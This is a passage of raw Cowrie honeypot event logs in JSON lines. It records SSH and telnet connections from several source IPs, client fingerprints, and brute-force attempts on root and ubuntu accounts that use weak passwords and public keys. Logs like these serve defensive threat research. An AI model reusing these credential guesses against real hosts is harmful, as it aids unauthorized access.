{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:28:37.600736Z","src_ip":"147.45.199.80","session":"3368adf8a5b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:28:37.695951Z","src_ip":"147.45.199.80","session":"3368adf8a5b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22031994","message":"login attempt [root/22031994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:28:37.982503Z","src_ip":"147.45.199.80","session":"3368adf8a5b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:28:39.079395Z","src_ip":"147.45.199.80","session":"3368adf8a5b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53636,"dst_ip":"159.203.135.109","dst_port":23,"session":"b023d77ea7b5","protocol":"telnet","message":"New connection: 172.81.62.90:53636 (159.203.135.109:23) [session: b023d77ea7b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:28:40.443185Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53644,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce1dd979896b","protocol":"telnet","message":"New connection: 172.81.62.90:53644 (159.203.135.109:23) [session: ce1dd979896b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:28:43.582163Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":33040,"dst_ip":"159.203.135.109","dst_port":22,"session":"9356724ce591","protocol":"ssh","message":"New connection: 80.94.92.184:33040 (159.203.135.109:22) [session: 9356724ce591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:28:55.863519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:28:56.016710Z","src_ip":"80.94.92.184","session":"9356724ce591","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:28:56.019905Z","src_ip":"80.94.92.184","session":"9356724ce591","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:28:58.426985Z","src_ip":"80.94.92.184","session":"9356724ce591","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:28:59.873327Z","src_ip":"80.94.92.184","session":"9356724ce591","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.25292420387268,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:29:01.123941Z","src_ip":"128.199.209.169","session":"c88124e49a8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.57584547996521,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:29:16.018885Z","src_ip":"172.81.62.90","session":"b023d77ea7b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.52244973182678,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:29:23.104463Z","src_ip":"172.81.62.90","session":"ce1dd979896b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":47318,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fb532976bca","protocol":"telnet","message":"New connection: 107.6.151.170:47318 (159.203.135.109:23) [session: 5fb532976bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:29:42.425311Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":59770,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2c7c4686880","protocol":"telnet","message":"New connection: 107.6.151.170:59770 (159.203.135.109:23) [session: f2c7c4686880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:29:48.557468Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":38522,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9b15701bc58","protocol":"ssh","message":"New connection: 27.71.230.31:38522 (10.17.0.5:22) [session: a9b15701bc58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:29:54.503481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:29:54.510078Z","src_ip":"27.71.230.31","session":"a9b15701bc58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:29:55.586926Z","src_ip":"27.71.230.31","session":"a9b15701bc58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:29:58.443402Z","src_ip":"27.71.230.31","session":"a9b15701bc58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:29:59.753769Z","src_ip":"27.71.230.31","session":"a9b15701bc58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.181.228.82","src_port":46468,"dst_ip":"10.17.0.5","dst_port":22,"session":"10943e373d75","protocol":"ssh","message":"New connection: 107.181.228.82:46468 (10.17.0.5:22) [session: 10943e373d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:30:00.970108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:30:00.974288Z","src_ip":"107.181.228.82","session":"10943e373d75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:30:01.032941Z","src_ip":"107.181.228.82","session":"10943e373d75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:74:b4:e3:a4:7c:c4:72:c2:2f:13:0d:88:92:39:ca","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAdi55Miuvmb6wfHbEU6Zj/EvmpjZu5MViRCltzygS5J","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 26:74:b4:e3:a4:7c:c4:72:c2:2f:13:0d:88:92:39:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:30:01.308090Z","src_ip":"107.181.228.82","session":"10943e373d75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:74:b4:e3:a4:7c:c4:72:c2:2f:13:0d:88:92:39:ca","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAdi55Miuvmb6wfHbEU6Zj/EvmpjZu5MViRCltzygS5J","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:30:01.311547Z","src_ip":"107.181.228.82","session":"10943e373d75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:1d:15:27:95:73:ca:87:86:8b:d9:e6:92:5e:14:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuWxrT72h5WWY/CYQWDOQn8T/ZByzkqihG8tGxCtlYMpcC3Sj790om7iBkTlG52rqpscPy5JDwMmYxPkydFFp0c5EKzYuBYaEDOdccPkF/er+n13ZB00iyal4lHCPipzhydAqmlqwFZv3tZn4TRzOaV1wgNzRiVzTRPY9G5j82ff5TW0Jep40XN6kVMsy/jnS/qY+QS61n3KP/VtY2WANxHyidle9ab/YPYl7Inc7wOET/VKTkbZ7kU3hHMniZiaWiLSKL4H98nfqns5ICHTrJD/116w3jJjxR1jzOf2M/VeneNOo7lF+nCbkTWz2LhW5a78FrgMi3arJryYMJs4lddyLYchFu3YzcqGs79VlikGD2pjTIHKJlcOReke3aDqJuuAP44rjsNBuu1Z0+cNtZsrq0ZaGaFy4E/4gdYwb3vP1IHXyQ+yKOSBLozMgxA1+Abb8wrTp6d+GtzjIKE4CF3kdPgeehBHhCIHbvVcPbKtrcTfk7owdeGE/xbyfLkIzluCkVU7nVlX/WdTi42c2k3rBVmO0/DlhCIKCV+qd0Vl25uUS1AmX8+gEg0qygpN6PtzRyz0AqPm3BVtr5AlnTAjC+c7UTSoH2LnaWx8cgp89bY+KeKNCFNp9hLJK+PJFKDnDHA8Ad4j+TXNIYOfFgcIDfsuMSb8fel3SuSuY++w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:1d:15:27:95:73:ca:87:86:8b:d9:e6:92:5e:14:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:30:01.375893Z","src_ip":"107.181.228.82","session":"10943e373d75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:1d:15:27:95:73:ca:87:86:8b:d9:e6:92:5e:14:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuWxrT72h5WWY/CYQWDOQn8T/ZByzkqihG8tGxCtlYMpcC3Sj790om7iBkTlG52rqpscPy5JDwMmYxPkydFFp0c5EKzYuBYaEDOdccPkF/er+n13ZB00iyal4lHCPipzhydAqmlqwFZv3tZn4TRzOaV1wgNzRiVzTRPY9G5j82ff5TW0Jep40XN6kVMsy/jnS/qY+QS61n3KP/VtY2WANxHyidle9ab/YPYl7Inc7wOET/VKTkbZ7kU3hHMniZiaWiLSKL4H98nfqns5ICHTrJD/116w3jJjxR1jzOf2M/VeneNOo7lF+nCbkTWz2LhW5a78FrgMi3arJryYMJs4lddyLYchFu3YzcqGs79VlikGD2pjTIHKJlcOReke3aDqJuuAP44rjsNBuu1Z0+cNtZsrq0ZaGaFy4E/4gdYwb3vP1IHXyQ+yKOSBLozMgxA1+Abb8wrTp6d+GtzjIKE4CF3kdPgeehBHhCIHbvVcPbKtrcTfk7owdeGE/xbyfLkIzluCkVU7nVlX/WdTi42c2k3rBVmO0/DlhCIKCV+qd0Vl25uUS1AmX8+gEg0qygpN6PtzRyz0AqPm3BVtr5AlnTAjC+c7UTSoH2LnaWx8cgp89bY+KeKNCFNp9hLJK+PJFKDnDHA8Ad4j+TXNIYOfFgcIDfsuMSb8fel3SuSuY++w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:30:01.379544Z","src_ip":"107.181.228.82","session":"10943e373d75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:52:9a:08:40:e1:0b:d2:18:6c:ab:19:b3:c9:4e:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMB44WuleXd7SmAn0I8Ye02/6W0GG50EV9oaYs7b0cyB0BXsJ2k8fINjCQ9b+pMkiWyt8SfTuXV0dnTrlSd1XssI4iuujpnGNF9+AFDge+qcZa152f5zxARokw0LuWhxB3jtY3BEdhZFSuAkyUue93y3Lzs/CI6yYSyMw0/Epe6XasrDfYfpM84FP0LeBRqY01Hj1saxxeHwWo3IUknvndGcG1OhvSLI0BNXvK3TwpJT7Lna5ulA6KXTOIB8j7NVlikU/A/It0lT25wRHWLghujW3/o1BjwwQwxCAiyw4PcyyVmR29mMVNDYS8IheOwW1wUMR5cFRL9oBQPTNlw/M3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3d:52:9a:08:40:e1:0b:d2:18:6c:ab:19:b3:c9:4e:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:30:01.443648Z","src_ip":"107.181.228.82","session":"10943e373d75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:52:9a:08:40:e1:0b:d2:18:6c:ab:19:b3:c9:4e:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMB44WuleXd7SmAn0I8Ye02/6W0GG50EV9oaYs7b0cyB0BXsJ2k8fINjCQ9b+pMkiWyt8SfTuXV0dnTrlSd1XssI4iuujpnGNF9+AFDge+qcZa152f5zxARokw0LuWhxB3jtY3BEdhZFSuAkyUue93y3Lzs/CI6yYSyMw0/Epe6XasrDfYfpM84FP0LeBRqY01Hj1saxxeHwWo3IUknvndGcG1OhvSLI0BNXvK3TwpJT7Lna5ulA6KXTOIB8j7NVlikU/A/It0lT25wRHWLghujW3/o1BjwwQwxCAiyw4PcyyVmR29mMVNDYS8IheOwW1wUMR5cFRL9oBQPTNlw/M3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:30:01.447629Z","src_ip":"107.181.228.82","session":"10943e373d75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:5e:10:2b:0c:11:33:e9:85:73:07:fb:2f:7a:cf:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0EAJeJPRATKUFE97jhjBiMZ5ZAmI9VVLyZQR3++WD9ZKzK4xoFVjNb5k0OmueMQLrtQWUmexO9PxmKZXHGNQEtNVG3r1wdSE2NdfZH21GyNgnPiA17u21CE5ypqk1ChyIEG80R04YM0xWBuk/zJt0y3kYdnB4zGon6YU/rwL31Wl3G7OjJToO4Qk9X3qv4K/R5oNX31vXAjYW6g98pFtCuZ02Mvoc9NY58g5gPLGc8/OJruYwHtL+faV68btQbC2Qfc5hNB2z7laGTcZppW0mU2bT1lcftdSwI1d5pPLcV9mdaZ85Uv4RyiMrOuE72ObF6EjyI9kfCiGKuEgU7hTLw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:5e:10:2b:0c:11:33:e9:85:73:07:fb:2f:7a:cf:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:30:01.508975Z","src_ip":"107.181.228.82","session":"10943e373d75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:5e:10:2b:0c:11:33:e9:85:73:07:fb:2f:7a:cf:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0EAJeJPRATKUFE97jhjBiMZ5ZAmI9VVLyZQR3++WD9ZKzK4xoFVjNb5k0OmueMQLrtQWUmexO9PxmKZXHGNQEtNVG3r1wdSE2NdfZH21GyNgnPiA17u21CE5ypqk1ChyIEG80R04YM0xWBuk/zJt0y3kYdnB4zGon6YU/rwL31Wl3G7OjJToO4Qk9X3qv4K/R5oNX31vXAjYW6g98pFtCuZ02Mvoc9NY58g5gPLGc8/OJruYwHtL+faV68btQbC2Qfc5hNB2z7laGTcZppW0mU2bT1lcftdSwI1d5pPLcV9mdaZ85Uv4RyiMrOuE72ObF6EjyI9kfCiGKuEgU7hTLw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:30:01.513218Z","src_ip":"107.181.228.82","session":"10943e373d75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:ab:72:7c:a0:96:8e:03:ff:26:bb:83:e9:dd:63:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDw7UZe3hHdwZCRi/JQRsHzEhsDJgqEzY1crCKawlvkvfz+YVCSGUDUKQXIMN+bnpg8Q42x/uJAjLPeFeu64ugpzuAsCBSoRA6kfEcTq9G08TJkYemVG5NGQPicC/7C+J7IUpeOwCnarTomzCnvIROF9rq9yf8I296DOqGePVpiBnmVZ6P4+4SVn7UfrIbHafeoh+1X5ru1vcWq1vbOieD1o6xqHv9yLsKSxeeIf6sLGGlx5Gc7jtM52QGuv2tJHHvpBfha3w85PJxHqwUyB+LYSKW4I/gjKZre4G1+rnq2U/P5tD+ehRtfzn/ScdVA04i/YhX/Y/z+5R7LOj8A1AHd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:ab:72:7c:a0:96:8e:03:ff:26:bb:83:e9:dd:63:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:30:01.582936Z","src_ip":"107.181.228.82","session":"10943e373d75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:ab:72:7c:a0:96:8e:03:ff:26:bb:83:e9:dd:63:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDw7UZe3hHdwZCRi/JQRsHzEhsDJgqEzY1crCKawlvkvfz+YVCSGUDUKQXIMN+bnpg8Q42x/uJAjLPeFeu64ugpzuAsCBSoRA6kfEcTq9G08TJkYemVG5NGQPicC/7C+J7IUpeOwCnarTomzCnvIROF9rq9yf8I296DOqGePVpiBnmVZ6P4+4SVn7UfrIbHafeoh+1X5ru1vcWq1vbOieD1o6xqHv9yLsKSxeeIf6sLGGlx5Gc7jtM52QGuv2tJHHvpBfha3w85PJxHqwUyB+LYSKW4I/gjKZre4G1+rnq2U/P5tD+ehRtfzn/ScdVA04i/YhX/Y/z+5R7LOj8A1AHd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:30:01.588003Z","src_ip":"107.181.228.82","session":"10943e373d75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:30:01.654569Z","src_ip":"107.181.228.82","session":"10943e373d75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.283632516860962,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:30:03.840978Z","src_ip":"107.6.151.170","session":"f2c7c4686880","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0022542476654,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:30:05.287889Z","src_ip":"180.76.139.59","session":"f7a07722eef6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":60084,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c9f03a16914","protocol":"ssh","message":"New connection: 103.27.238.116:60084 (159.203.135.109:22) [session: 5c9f03a16914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:30:07.049007Z"}
